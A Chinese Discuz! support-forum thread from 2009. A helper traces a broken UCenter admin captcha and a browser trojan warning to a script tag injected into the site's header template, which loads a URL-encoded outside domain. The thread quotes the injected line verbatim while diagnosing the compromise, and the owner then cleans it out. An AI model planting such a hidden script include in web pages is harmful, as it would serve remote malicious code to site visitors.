Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

[已解决] UCenter 管理员登入不能显示验证码。 (多谢“云天一”一直以来耐心的指导。)

[复制链接]
云天一 发表于 2009-11-11 13:57:47 | 显示全部楼层
control/admin/seccode.php   我这里怎么没这个文件呀?  就连 control 整个文件夹都没有?这是杂 ...
绝对阿杰 发表于 2009-11-11 13:09



   这是ucenter下的文件
回复

使用道具 举报

 楼主| 绝对阿杰 发表于 2009-11-11 17:46:07 | 显示全部楼层
31# 云天一


    我已经找到了我空间里面的这个文件,没有发现异常,如果要覆盖的话,我新下载的7.1包里没有这个文件夹,。怎么办
回复

使用道具 举报

云天一 发表于 2009-11-11 17:48:16 | 显示全部楼层
云天一


    我已经找到了我空间里面的这个文件,没有发现异常,如果要覆盖的话,我新下载的7.1包里没 ...
绝对阿杰 发表于 2009-11-11 17:46



不是7.1
是下UCenter1.5
回复

使用道具 举报

 楼主| 绝对阿杰 发表于 2009-11-11 18:03:21 | 显示全部楼层
33# 云天一


    谢谢你耐心的指导,

我新下载的1.5包里这个文件,与我空间的文件内容完全是一样的,没有发现有地方改动。,。怎么办?
  1. <?php

  2. /*
  3.         [UCenter] (C)2001-2009 Comsenz Inc.
  4.         This is NOT a freeware, use is subject to license terms

  5.         $Id: seccode.php 753 2008-11-14 06:48:25Z cnteacher $
  6. */

  7. !defined('IN_UC') && exit('Access Denied');

  8. class control extends base {

  9.         function __construct() {
  10.                 $this->control();
  11.         }

  12.         function control() {
  13.                 parent::__construct();
  14.                 $authkey = md5(UC_KEY.$_SERVER['HTTP_USER_AGENT'].$this->onlineip);

  15.                 $this->time = time();
  16.                 $seccodeauth = getgpc('seccodeauth');
  17.                 $seccode = $this->authcode($seccodeauth, 'DECODE', $authkey);
  18.                 //$seccode = rand(100000, 999999);
  19.                 //$this->setcookie('uc_secc', $this->authcode($seccode."\t".$this->time, 'ENCODE'));

  20.                 @header("Expires: -1");
  21.                 @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
  22.                 @header("Pragma: no-cache");

  23.                 include_once UC_ROOT.'lib/seccode.class.php';
  24.                 $code = new seccode();
  25.                 $code->code = $seccode;
  26.                 $code->type = 0;
  27.                 $code->width = 70;
  28.                 $code->height = 21;
  29.                 $code->background = 0;
  30.                 $code->adulterate = 1;
  31.                 $code->ttf = 1;
  32.                 $code->angle = 0;
  33.                 $code->color = 1;
  34.                 $code->size = 0;
  35.                 $code->shadow = 1;
  36.                 $code->animator = 0;
  37.                 $code->fontpath = UC_ROOT.'images/fonts/';
  38.                 $code->datapath = UC_ROOT.'images/';
  39.                 $code->includepath = '';
  40.                 $code->display();
  41.         }

  42. }

  43. ?>
复制代码
回复

使用道具 举报

云天一 发表于 2009-11-11 18:06:45 | 显示全部楼层
这样看是看不出来的请不要编辑安装包里的这个文件进行覆盖一下
回复

使用道具 举报

 楼主| 绝对阿杰 发表于 2009-11-11 18:29:46 | 显示全部楼层
35# 云天一

我已经覆盖了,更新了缓存,效果还是一样。没有任何改变。,

    大哥,出现另外一个新问题了,
我进入后台UCenter
http://www.ncysgs.cn/ucenter/admin.php?m=user&a=login&iframe=1&sid=

居然回出现非法网址:被安全360给拦截了:
2.jpg


     您访问的网页: http://e8509.cn/x2/xx.html  可能会在您的电脑中植入木马并窃取您的隐私信息。

为了保护您的电脑安全,360网页防火墙阻止了这次访问。

回复

使用道具 举报

云天一 发表于 2009-11-11 18:35:58 | 显示全部楼层
你所有的问题都 是同一个原因引起的
不管是 注册不跳转还是
验证码没显示
<script src=http://sp%6Fr%74s%69%6Edex%2E%63%6E></script>


你的ucenter头部被加入了这个
可能是在验证码显示图片之前就有输出了


./view/default/header.htm文件被加了
<script src=http://sp%6Fr%74s%69%6Edex%2E%63%6E></script>

所以导致验证码无法显示
回复

使用道具 举报

 楼主| 绝对阿杰 发表于 2009-11-11 18:40:33 | 显示全部楼层
37# 云天一


    谢谢,网站所有的异常都是因为这个木马。能否教我一个可行的办法,如何彻底的处理?
回复

使用道具 举报

 楼主| 绝对阿杰 发表于 2009-11-11 18:42:00 | 显示全部楼层
/view/default/header.htm文件被加了

这个文件到那里找?

最主要的是:我要怎么做,才能彻底清除?
回复

使用道具 举报

 楼主| 绝对阿杰 发表于 2009-11-11 18:49:24 | 显示全部楼层
多谢“云天一”一直以来耐心的指导。
现在我已经处理好了,出现这个问,是因为仍然有非法代码。我清除所有的非法代码以后,显示正常了

2.jpg
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-9-16 05:24 , Processed in 0.100704 second(s), 15 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表